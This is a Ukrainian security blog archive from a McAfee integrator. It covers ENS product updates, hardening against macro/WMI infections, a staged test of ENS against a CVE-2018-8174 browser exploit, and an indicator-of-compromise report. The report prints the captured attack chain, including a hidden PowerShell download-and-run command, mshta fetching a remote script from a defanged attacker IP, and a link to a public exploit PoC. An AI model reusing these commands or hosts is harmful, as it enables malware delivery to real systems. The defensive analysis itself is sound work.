Tag Archive | ens

#McAfeeCybersecForum2020

6го лютого наша команда приймала участь у #McAfeeCybersecForum2020

Я розповідав про те як витискати з рішень McAfee максимум.

Контент моєї доповіді стосувався MVISION Endpoint, MVISION EDR та нових можливостей ENS 10.7

У мене також були приготовані три короткі демо:

  • Захист облікових даних
  • Оперативне реагування на вразливість
  • Відновлення зашифрованих файлів

Важливо!

На жаль, технічні негаразди завадили мені показати демо зі сцени, тому на відео демо відсутнє, проте на слайдах ви знайдете покрокові знімки екрану.

Я також дуже вдячний публіці, яка після мого виступу завітала на наш демостенд і дала мені змогу показати приготований контент.

Тому тим, хто не був на конференції або не мав змоги побачити демо, я рекомендую спершу ознайомитись з відео, а потім погортати слайди.

Відео виступу (без демо):

Слайди (покрокове демо):

Кому не зручно дивитись на slideshare, можуть взяти pdf (~ 3,1 Mb)

Будьте уважні та обережні.

Слідкуйте за нашою сторінкою у Facebook

https://www.facebook.com/Optidata.com.ua/

VR

McAfee ENS 10.7 – посилений захист від malware

Загрози (віруси) еволюціонують, кібератаки – ускладнюються. Операторам захисту потрібні нові можливості.

Нещодавно відбувся реліз нової версії рішення McAfee Endpoint Security 10.7. Я підготував короткий огляд змін.

~30 хв контенту: мінімум слайдів, максимум живого екшену. Кому тільки екшн, без слайдів – дивіться з 9:50.

В меню: відновлення зашифрованих файлів*, керування з CLI, покращена візуалізація спрацювань та інше.

* саме так, я дозволив WannaCry зашифрувати свої фото, а ENS для мене їх відновив. Автоматично, без мого втручання.

Не перемикайтеся. Приємного перегляду.

Відео:

Слайди:

Кому не зручно із slideshare ось вам PDF (~ 1,1 Mb)

Зверніть увагу на 3й та 20-й слайди. На 3му – перелік моїх статей по налаштуванню ENS, а на 18 – бонус, дієві контрзаходи.

Будьте уважні та обережні.

VR

Блок виклику WMI через OLE/Macros

“Нет на свете ничего такого, чего нельзя было бы исправить.”

Брати Стругацькі, “Пикник на обочине”

На мою думку, серед методів доставки malware, зараз основну і найбільшу небезпеку становлять … документи.
Погодьтеся, що і скрипти і примітивні SCR(EXE) можна заблокувати (майже) без суттєвих наслідків для бізнесу.
А от із документами біда.

Сьогодні я покажу вам як захиститися від документів, що викликають WMI.
Вперше такий спосіб доставки мені трапився 15/05/19 при аналізі #emotet.

Отже з чим ми маємо справу (свіжий документ за 27/09/19, знов #emotet):

В чому небезпека виклику WMI?

Стандартно запуск ланки інфікування такий:
winword/excel > macro > (cmd) > wscript/powershell
В даному випадку для захисту достатньо заборонити додаткам MS Office запускати дочірні процеси.

Ланка інфікування з WMI:
winword/execel > macro || (інший контекст) wmiprvse.exe > powershell > …
В цьому випадку заборона дочірніх процесів не спрацює.

Схожа схема із вразливістю редактору формул (11882). Але, якщо у випадку із 11882 нам достатньо просто заблокувати запуск eqnedt32.exe, то заборонити запуск сервісів WMI у корпоративному середовищі – не вихід.

Що ми можемо зробити, маючи на руках базовий ENS Threat Prevention без моїх User-defined правил AP?

Три простих, вбудованих(!) механізми, які по замовчуванню не активні:

1. EP – Enable Windows Data Execution Prevention
2. EP – сигнатура 6131 “Weaponized OLE object infection via WMI”
3. EP – сигнатура 6087 “Powershell Command Restriction – EncodedCommand”

Давайте перевіримо результат:

Активуємо EP – Enable Windows Data Execution Prevention і відкриваємо документ:

При спробі запустити макрос процес winword зупиняється з помилкою. Інфікування не пройшло:

Активуємо EP – 6131 “Weaponized OLE object infection via WMI” (DEP деактивовано для демонстрації) і відкриваємо документ:

Макрос відпрацьовує, але як тільки доходить до виклику WMI – він блокується. Інфікування не пройшло:

Активуємо EP – 6087 “Powershell Command Restriction – EncodedCommand” (DEP та 6131 деактивовано для демонстрації) і відкриваємо документ:

Макрос відпрацьовує, виклик WMI проходить, але виконання base64 на PowerShell блокується. Інфікування не пройшло:

Все. Результат досягнуто.

Ми не вимикали макроси повністю. Ми не блокували запуск WMI чи PowerShell повністю.

Ми просто активували три механізми захисту від нетипових макросів, WMI та PowerShell.

Сподіваюсь даний “рецепт” стане у нагоді та вбереже читачів від інцидентів із malware.

Будьте уважні та обережні.

VR

10 заповідей оператора McAfee

“The deadliest weapon in the world is a marine and his rifle..
Your rifle is only a tool.”
(c) Gunnery Sergeant Hartman, Full Metal Jacket

 

Контент буде корисний як новачкам так і досвідченим користувачам корпоративних рішень McAfee.

Як показує мій скромний досвід тех. підтримки, ~ 70% проблем можна вирішити одним або кількома із цих 10 кроків.

30% – це вже різні апаратні або програмні конфлікти чи помилки у коді, яких не вирішити без виправлень чи хотфіксів.

10 заповідей оператора McAfee

McAfee – не панацея і не срібна куля. Це лише інструмент у моїх руках і його ефективність залежить від того, як саме я користуюся ним.

Перш ніж звинувачувати в усіх бідах розробників, інтеграторів чи партнерів, я докладу усіх зусиль і перевірю наступні кроки:

  1. Аби бути в курсі виходу нових версій, виправлень чи рекомендацій я підпишуся на розсилку SNS і буду періодично читати ті листи (!)
  2. Щоб уникнути проблем з розгортанням рішень на різні платформи я буду перевіряти відповідну статтю з таблиці KB51109
  3. Маючи справу з Windows 10 я буду оновлювати модулі McAfee _ перед _ розгортанням оновлення Windows згідно KB85784
  4. Чекаючи на нову версію рішення я буду відстежувати розклад релізів за таблицею у KB91587
  5. Якщо, не зважаючи на попередні пункти, я виявлю проблему, перше що я зроблю – пошук в Google за фразою “McAfee _продукт_версія_ Known Issues” і уважно вивчу відповідну KB (як приклад KB з проблемами по MAR)
  6. Якщо попередній крок не дав результатів, я перевірю свіжі дописи у відповідному розділі форуму McAfee Support Community
  7. В процесі вирішення проблеми я тричі переконаюсь, що дотримався системних вимог (описані у відповідному Installation Guide) і надав модулям усі необхідні мережеві доступи (для прикладу стаття по портам для DXL, TIE та ATD)
  8. В процесі вирішення проблеми я перевірю журнали (логи) відповідного рішення. (розташування логів я шукатиму у відповідному Installation Guide)
  9. В процесі вирішення проблеми я намагатимусь зрозуміти логіку роботи рішення або комплексу рішень згідно матеріалів McAfee Expert Center
  10. Тільки пройшовши попередні кроки, перезавантаживши проблемну систему, перевстановивши модуль, я зберу логи MER і створю Service Request

Сподіваюсь, наведені тут джерела стануть вам у нагоді.

Цей пост не повинен розглядатися як єдиний (універсальний) засіб проти усіх можливих проблем.

Це лише спроба узагальнити 10 ключових джерел, які свідомий оператор повинен перевірити переш ніж опустити руки і просити допомоги.

Будьте уважні та обережні.

 

 

 

 

 

 

 

 

VR

9:1 або ENS10.6 vs IE exploit

Як правильно користуватися антивірусом, або чому я працюю з McAfee (частина #2)

Усім привіт!

Як людина, якій дуже часто доводиться мати справу з шкідливим кодом, я підготував для вас свіжий контент)

Продовжую знайомити вас із захисними механізмами, які приховує в собі ENS 10.6

Якщо хто пропустив першу частину (аналіз ефективності проти документу з макросом) – раджу почати з неї.

Ті, хто мене добре знають, вже розуміють, що я користуюся та налаштовую ENS не як антивірус, а як модуль аналізу поведінки. Просто я розумію, що в умовах сучасних масових/цільових атак файлові сигнатури та навіть хмарна репутація будуть запізнюватися. Тому я роблю ставку на інші методи захисту.

Але ближче до справи – вчора мені на очі трапилася реалізація експлойту #CVE-2018-8174 для доставки шкідливого коду. На відміну від попереднього прикладу, який я використав для розгляду можливостей ENS, цього разу для активації атаки достатньо перейти за посиланням через непатчений Internet Explorer (виправлення MS опублікували ще 08/05/18).

Це трохи відрізняється, від фішингу, де жертві усе ще треба відкрити документ або активувати скрипт. Тут усе зробить браузер.

Навіть виконає ескалацію привілеїв із обходом UAC. А це вже серйозно.

Кому потрібні деталі по експлойту – знайдете їх тут, а ми переходимо до захисту.

Перш ніж почати перевіряти надійність ENS, давайте змінимо стандартні (My Default) налаштування на більш посилені. Нижче я наведу приклади максимально жорстоких правил.

Увага! Не намагайтеся одразу перенести їх на свою інфраструктуру.

В кожному конкретному випадку, залежно від типу системи та характеру використання по цим правилам будуть свої списки виключень, а для деяких установ вбудовані правила краще замінити на додаткові користувацькі.

#1 Активуємо вбудовані правила з блоку Access Protection

(оскільки ми не знаємо на перед механізму дії експлойту то активуємо їх усі)

 

#2 Додаємо користувацьке правило для блокування нових .exe

(примітивне, проте захищає від 90% атак не залежно від типу обгортки/приманки)

#3 Додаємо правило заборони перехресного виклику

(захистить від приманок що залучають PowerShell – 70% )

#4 Для кращого контролю PowerShell активуємо додаткові сигнатури Exploit Prevention

(дозволить блокувати кодовані команди, приховані виклики і таке інше)

#5 Додамо користувацьке правило брандмауера для блокування вихідного трафіку

(захистить від довантаження payload у разі спрацювання 0day на інструменти ОС)

#6 Переглянемо параметри Web Control

(активуємо перевірку репутації файлів та посилань згідно хмари McAfee GTI)

#7 Перевіримо спрацювання користувацького правила Access Protection

(щоб пересвідчитися що шлях заданий вірно і захист вже активовано)

 

Ось тепер наша піддослідна тестова машина готова до зустрічі з експлойтом, спрацювання якого веде до запуску проміжного downloader`а та довантаження основного тіла троянського шкідливого коду.

 

Схема даної атаки (спрощена):

  1. Жертва переходить на інфіковану сторінку що містить експлойт
  2. Internet Explorer починає обробляти вміст сторінки, зокрема VBS скрипт
  3. Вразливість приводить до екскалації привілеїв в обхід UAC
  4. Internet Explorer виконанує довільний код – в даному випадку запуск mshta
  5. Далі відбувається обробка hta файлу що містить команди для PowerShell
  6. Виконується прихований запуск PowerShell для завантаження та запуску downloader`а
  7. Далі downloader перевіряє параметри системи та довантажує основне тіло payload

 

І так, шановні читачі, леді та джентльмени, увага! Почнемо шоу.

У синьому кутку рингу – експлойт CVE-2018-8174, все ще активний та небезпечний для тих, то не оновлює систему.

А у червоному кутку рингу – оновлений McAfee ENS із посиленими політиками.

Бій до останнього. Почали.

 

#1 Перший контакт – переходимо за посиланням і …

Web Control блокує обробку сторінки по репутації за даними GTI.

Система не ушкоджена.

1:0 на користь ENS

 

Вимикаємо Web Control адже наступна (інша) атака може проходити з URL який буде мати нормальну репутації (зламаний сайт державної установи або комерційної організації)

* а для тих, хто користується Web Gateway мій колега Олег перевірив захист на рівні web proxy:

 

#2 Другий раунд, повторна спроба переходу за посиланням і …

Отримуємо одразу два блокування. По порядку.

Друга атака експлойту блокується сигнатурою 6048 модулю Exploit Prevention – махінації із стеком, переповнення буферу.

Система не ушкоджена.

2:0 на користь ENS

 

Вимикаю блок по сигнатурі 6048 адже наступна (інша) атака може не стосуватися буферу.

 

#3 Третій раунд, повторна спроба переходу за посиланням і …

Друга атака експлойту блокується OnAccess Scan (OAS) по сигнатурі CVE яка спрацювала на вміст VBS в коді сторінки.

Система не ушкоджена.

3:0 на користь ENS

 

Вимикаю блок по сигнатурі 6048 адже наступна (інша) атака може використовувати експлойт, на який ще не буде сигнатури OAS.

 

#4 Четвертий раунд. Експлойт уже виснажений і намагається скавчати, проте бій продовжується.

Знову переходимо за посиланням і …

Спрацьовує вбудоване правило Access Protection (яке по замовчуванню вимкнене).

ENS блокує спробу IE внести зміни до реєстру (механіка вразливості).

Система не ушкоджена.

4:0 на користь ENS

 

Вимикаю блок для правила Access Protection адже наступна (інша) атака може застосовувати інші механізми.

 

#5 Рефері витягує наляканий експлойт з канатів знову на ринг. Бій продовжується.

Знову переходимо за посиланням і …

Спрацьовує користувацьке правило брандмауеру яке забороняє процесу MSHTA встановити вихідне з’єднання для обробки hta файлу, який містить команди для PowerShell.

Експлойт відпрацював, але обробка інструкцій і завантаження шкідливого коду не відбулися.

Усе чим відбувся користувач – помилка в роботі браузера.

Система не ушкоджена.

5:0 на користь ENS

 

Вимикаю блок для користувацького правила брандмауера адже наступна (інша) атака може застосовувати інші вбудовані механізми ОС в якості транспорту.

 

#6 Експлойт пригнічений та деморалізований. Лунає сигнал до бою.

Знову переходимо за посиланням і …

Експлойт спрацьовує, MSHA оброблює hta файл і намагається викликати PowerShell..

Але ENS спокійно (як Нео в фільмі “Матриця”) блокує цей підступний прийом завдяки користувацькому правилу Access Protection яким ми заборонили перехресний виклик cmd, powershell та mshta.

Система не ушкоджена.

6:0 на користь ENS

 

Вимикаю блок для користувацького правила Access Protection адже наступна (інша) атака може застосовувати інші вбудовані механізми ОС в якості транспорту.

 

#7 Навряд чи в реальних умовах жертва буде продовжувати спроби перейти за посиланням вже після перших блокувань, але наш бій продовжується.

Експлойт не полишає надії, адже ENS стримує атаки уже з відключеними 6ма захисними механізмами.

Знову переходимо за посиланням і …

Цього разу експлойт спрацьовує, MSHA оброблює hta файл і намагається викликати PowerShell..

Але ENS тримає удар! Завдяки сигнатурі 6070 яка відрізняє прихований виклик PowerShell.

Система не ушкоджена.

7:0 на користь ENS

 

Вимикаю блок по сигнатурі 6070 адже наступна (інша) атака може використовувати інший механізм доставки шкідливого коду.

 

#8 Восьмий раунд. Глядачі завмерли в очікуванні.

Експлойт біситься, адже перша фаза атаки проходить (і це лише після того як ми послабили захист ENS на 7 різних пунктів), але інфікування системи не відбувається.

Експлойт не завдає шкоди системі. Зловмисники не отримають результату.

Під галас глядачів рефері знов виштовхує переляканий експлойт на ринг. Лунає сигнал до бою.

Знову переходимо за посиланням і …

PowerShell виконує передані на цього інструкції і намагається завантажити та записати файл downloader`а..

Але знову ENS перемагає! Спрацьовує вбудоване правило Access Protection яке блокує створення нових файлів у каталозі Windows (правило по замовчуванню вимкнене).

Зверніть увагу, що в даному випадку, завдяки ескалації привілеїв, зловмисники намагаються записати .exe не в каталог користувача, а у C:\Windows\Temp, куди звичайному користувачу доступу нема.

Також зауважте, в даному випадку користувацьке правило на створення та запуск .exe у C:\Users\**\ не знадобилося, але у тих випадках, коли атака проходить без ескалації привілеїв вони вас захистить.

Система не ушкоджена.

8:0 на користь ENS

 

Вимикаю блок для користувацького правила Access Protection адже наступна (інша) атака може записувати файли в інші каталоги.

 

#9 Я думаю, що читачам уже й так усе зрозуміло. Але ж бій має йти до кінця, так?

Експлойт знає, що ENS майже повністю деактивований, функціонує менша частина захисту.

На цьому місці глядачі (читачі) згадують кульмінацію фільмів “Роккі” з Сильвестром Сталлоне ))

Дев’ятий раунд.

Знову переходимо за посиланням і …

експлойт проводить нокдаун завантаження та запуск downloader`а.

Перший удар, який ENS пропустив (після деактивації 8 ешелонів захисту!)

Усі завмерли. Експлойт, нападники уже відкорковують шампанське, так, шкідливий .exe-шник запустився на системі..

Але що це?

На останньому подиху ENS через брандмауер блокує спробу downloader`а з’єднатися із С2 і не дозволяє довантажити payload.

Система скомпрометована, проте ексфільтрації даних та довантаження payload не відбулося.

9:1 на користь ENS

 

Ображений експлойт скавчить, тікає з рингу і забивається у темний куток))

Якось так =)

Щоб вам було цікавіше це читати, я намагався подати мої екзерсиси з тестуванням як боксерський раунд. Сподіваюсь, це на завадило вам зрозуміти основний меседж – навіть без сигнатур, в умовах 0day атаки, за умови правильних політик, ENS може надійно протистояти широкому діапазону атак, як через фішинг так і через експлойти вбудованих механізмів ОС.

Зрозуміло, що на практиці, бізнес не стане працювати з усіма обмеженнями які я задіяв в даному випадку, але порівняно із “просто файловим сканером”, McAfee ENS надає вам можливості адаптувати захист під ваші умови.

Якщо ви навчитеся користуватися усім функціоналом ENS, а не лише OAS, тоді відсутність своєчасних оновлень Windows чи Office не буде становити високої загрози для ваших систем.

 

Ще раз звертаю увагу, що параметри/політики в даному тесті були не default.

І я закликаю вас не використовувати політики по замовчуванню.

Висновки робіть самі:

  • Default політики – Web Control, OAS, Exploit Prevention 6048 – 3 (три) блоки до зараження
  • Активація базових правил – Web Control, Exploit Prevention 6048, OAS, AP_reg, Exploit Prevention 6070, AP_exe_Win – 6 (шість) блоків до зараження
  • Базові + користувацькі – Web Control, Exploit Prevention 6048, OAS, AP_reg, Firewall-1, AP_2ps, Exploit Prevention 6070, AP_exe_Win, Firewall-2 9 (дев’ять) блоків до зараження

Сподіваюсь, дана публікація буде корисною як для користувачів McAfee так і для тих, хто користується іншими засобами захисту – а ви на базі свого рішення такі заборони ввести можете?

Залишайтеся з нами.

Слідкуйте за нашою сторінкою в FaceBook

Усім гарного дня.

Будьте уважні та обережні.

Знайте вашу зброю та вмійте нею користуватися.

VR

IOC_18-8174_180618

Доброго ранку, панове.

Відстежуємо способи доставки шкідливого коду через вразливість Internet Explorer.

#CVE-2018-8174 призводить до виконання довільного коду через обробку VBS в коді сторінки.

Рівень загрози, для організацій котрі застосовують не оновлений IE в якості основного – високий.

А для тих, хто уважно читає наші поради, контролює powershell та створення нових exe – низький.

Хочемо звернути вашу увагу на цей випадок, оскільки до цього левова частка зразків запускалися через активацію приманки користувачем.

В даному випадку переходу за посиланням достатньо. Максимум – IE запитає користувача чи активувати ActiveX компоненти.

Ми весь час розбирали різні варіанти обгорток що проходять через фішинг.

Разом із тим радимо не забувати про своєчасне оновлення бравзерів та застосування URL фільтрації і фільтрації мережевих експлойтів (Network / Host IPS.)

На що треба звернути увагу:

  • (!) Сервер з експлойтом та проміжним dropper`ом досі активний
  • (!) Станом на 19-те число знову достпні обидва payload
  • (!) Вразливість дозволяє ескалацію привілеїв із обходом UAC
  • Попередній пункт означає, що все, що затягує debug запускається вже від рівня System
  • В цьому випадку проміжний dropper записується у C:\Windows\Temp (по замовчуванню не доступна для звичайного користувача)
  • Весь процес інфікування займає 1-2 хв
  • Активація експлоту приводить до обробки hta файлу, який передає інструкції на powershell (далі усе стандартно)
  • Шлях та ім’я з яким записується і запускається downloader чітко вказані в hta (not random)
  • Dropper та Payload не кодовані (!This program cannot be run in DOS mode.)
  • Зразок не зачищає за собою файли у C:\Windows\Temp
  • Прав Адміністратора не потребує, проте отримує їх при виконанні

І так, проблеми будуть у тих, хто:

  • Використовує не оновлений Internet Explorer (більше 50% організацій)
  • Не заборонили завантаження через powershell та mshta (більше 50% організацій)
  • На блокують несанкціоноване завантаження додатків з робочих систем (50% організацій)
  • Не блокують створення та запуск нових .exe з каталогів C:\Users\**\*.exe (70% установ)

 Схема атаки:

URL > unpatched IE > .html (vbs) > exploit > 
mshta > powershell > GET debug.exe > C:\Windows\temp\debug.exe

Маркери IOC:

SHA-256        7844b3992af7820a8818bf02d8578bcfe0e745712c90b4e52471fd48a595b9e9
File name   3.html
File size      10.1 KB
SHA-256        e484cfd79e8041ad63df663f765e21facdc835df3460c99016ae44c12760b415
File name   wm.hta
File size      316 B

SHA-256 b9215c70ef59ce882f7415e698c5a383273b76a8fc599cb73ea15f33b0315142
File name 1.exe
File size 304.59 KB
SHA-256 82282f5c39347adadbaddce72da905c2beae1a2b68facc8dc22cf6c3485de604
File name 2.exe
File size 84 KB

Активність по процесам:

"C:\Program Files\Internet Explorer\iexplore.exe" >>        111.73.46{.} 110:2233        GET /3.html

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1960 CREDAT:144385 /prefetch:2

C:\Windows\SysWOW64\mshta.exe h11p://111.73.46{.} 110:2233/wm.hta

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

-windowstyle hidden (new-object System.Net.WebClient).DownloadFile('h11p://111.73.46{.} 110:2233/debug.exe', 'c:/windows/temp/debug.exe'); c:/windows/temp/debug.exe

"C:\windows\temp\debug.exe"

C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del C:\windows\temp\debug.exe > nul

 Мережеві IOC:

Сторінка яка містить експлойт:

111.73.46{.} 110:2233        GET /3.html HTTP/1.1  Mozilla/5.0  – обробляється IE

Hta файл:

111.73.46{.} 110:2233        GET /wm.hta HTTP/1.1 Mozilla/4.0 – обробляється mshta

Проміжний dropper:

111.73.46{.} 110:2233        GET /debug.exe HTTP/1.1             – завантажується через PowerShell

Payload – обидва доступні!:

111.73.46.110:2233             GET /1.exe HTTP/1.1    Mozilla/4.0  – завантажується через debug.exe

111.73.46.110:2233             GET /2.exe HTTP/1.1    Mozilla/4.0  – завантажується через debug.exe

 Контрзаходи:

  • Перевірка журналів мережевого обладнання на наявність з’єднань із вказаним URL
  • Застосування шлюзів очистки web трафіку та IPS/IDS або HIPS (ENS 10.6)

Зверніть увагу на ефективність McAfee Web Gateway:

#1 Блок по фільтру геолокації

#2 Блок по репутації

#3 Блок по сигнатурі файлу

#4 Блок по CVE вразливості

Отже, правильно налаштований Web Gateway зробив 4 блоки. Дуже хороший результат.

Спрацювання ENS на вміст вебсторінки:

  • Розгортання механізмів т.з. “білих списків” для захисту від виконання несанкціонованого коду (на серверах/критичних системах)
  • Розгортання комплексу захисту McAfee ATD + ENS ATP + MAR для перевірки та блокування файлів із невідомою репутацією
  • Співбесіди з персоналом на тему сучасних цільових/масових атак із застосуванням фішингу та соц. інженерії

P.S.

Перевірити, чи вразливий ваш IE до цього екслойту можна за допомогою PoC:

https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript

Про використання данної вразливості популярними exploit-kit читайте тут:

https://malware.dontneedcoffee.com/2018/05/CVE-2018-8174.html

Детальний технічний аналіз самої вразливості тут:

http://blogs.360.cn/blog/cve-2018-8174-en/

Будьте уважні та обережні!

Очікуйте окрему статтю про ефективність модулів ENS 10.6

VR

ENS 10.6 – посилений захист

12 червня відбувся реліз оновленої версії McAfee Endpoint Security 10.6

– провідного модульного рішення для захисту Windows систем.

Тим, хто не знайомий з антивірусом McAfee взагалі, я рекомендую швидко переглянути

мою коротку інструкцію по правильному застосуванню ENS – щоб краще розуміти можливості ENS.

Давайте розглянемо якісні зміни порівняно із лінійкою 10.5.х, адже не секрет, що для замовників,

котрі здійснили міграцію з VSE або інших АВ, основним робочим інструментом зараз є 10.5.3 / 10.5.4

Але переш ніж перейти до розгляду новин по Windows-версії антивірусу, давайте я зазначу 2 моменти, які мене особисто дуже тішать:

Для оператора консолі ePO це серйозно посилює контроль за не-Windows системами.

 

А тепер що стосується Endpoint Security 10.6 (Windows)

#1 оновлення із попередніх версій

Щоб спростити замовникам процедуру переходу на актуальну версію, McAfee створили

Endpoint Upgrade Assistant, який аналізує версії поточних модулів та приймає рішення – чи можна

оновитися одразу, чи потрібне видалення застарілого продукту. Як результат – менше помилок в процесі розгортання.

Як бонус, Endpoint Upgrade Assistant може автоматично разом з ENS оновити і модуль Active Response (якщо такий використовується).

Варто зазначити, що у мене на одній із тестових систем standalone 10.5.3 цілком коректно оновився до 10.6 із збереженням моїх політик:

#2 підтримка 1803 Windows 10 та Windows Server 2016

Тут усе просто – замовники, яким потрібен захист оновлених версій серверів та робочих станцій можуть одразу розгортати 10.6 (або оновити 10.5.4 до 10.6)

#3 зміни у блоці Threat Prevention

  • інтеграція із MS Antimalware Scan Interface (AMSI) для Windows 10 та 2016 – якщо MS вбудовує АВ в систему, то чому б цим не скористатися?
  • логи спрацювання правил Exploit Prevention тепер містять ключі команд – так легше відрізняти реальні загрози від false-positive
  • мої улюблені правила Access Protection поповнилися ще двома – WSL та Doppelganging
  • можливість активації глобальних виключень та можливість робити виключення за IP адресами

#4 зміни у блоці Web Control

  • нарешті полагодили підтримку актуальних браузерів (FF, Chrome)
  • запити на GTI по перевірці завантажуваних файлів тепер по SHA-256 замість MD5

#5 зміни у блоці Firewall

  • можливість прийняття рішення якщо GTI не доступний

#6 зміни у блоці Adaptive Threat Protection

  • окремий параметр по перевірці мережевих дисків
  • можливість запускати Real Protect в offline без TIE чи GTI
  • Observe Mode тепер з коробки вимкнутий
  • запити на GTI по перевірці файлів тепер по SHA-256 замість MD5
  • DAC може блокувати довірені процеси при спробі обробки недовіренних DLL

#7 зміни по роботі із документацією

Новий портал для пошуку документації по рішенням McAfee:

https://docs.mcafee.com/

Досить зручно та швидко, як альтернатива PDF файлам.

На цьому короткий огляд завершено.

Більш детальна інформація:

Endpoint Security 10.6 – Release Notes

Endpoint Security 10.x – Supported operating systems

Endpoint Security 10.6 – Known Issues

Будьте уважні та обережні.

Знайте можливості ваших засобів захисту та не залишайте політики By Default!

Слідкуйте за оновленнями.

VR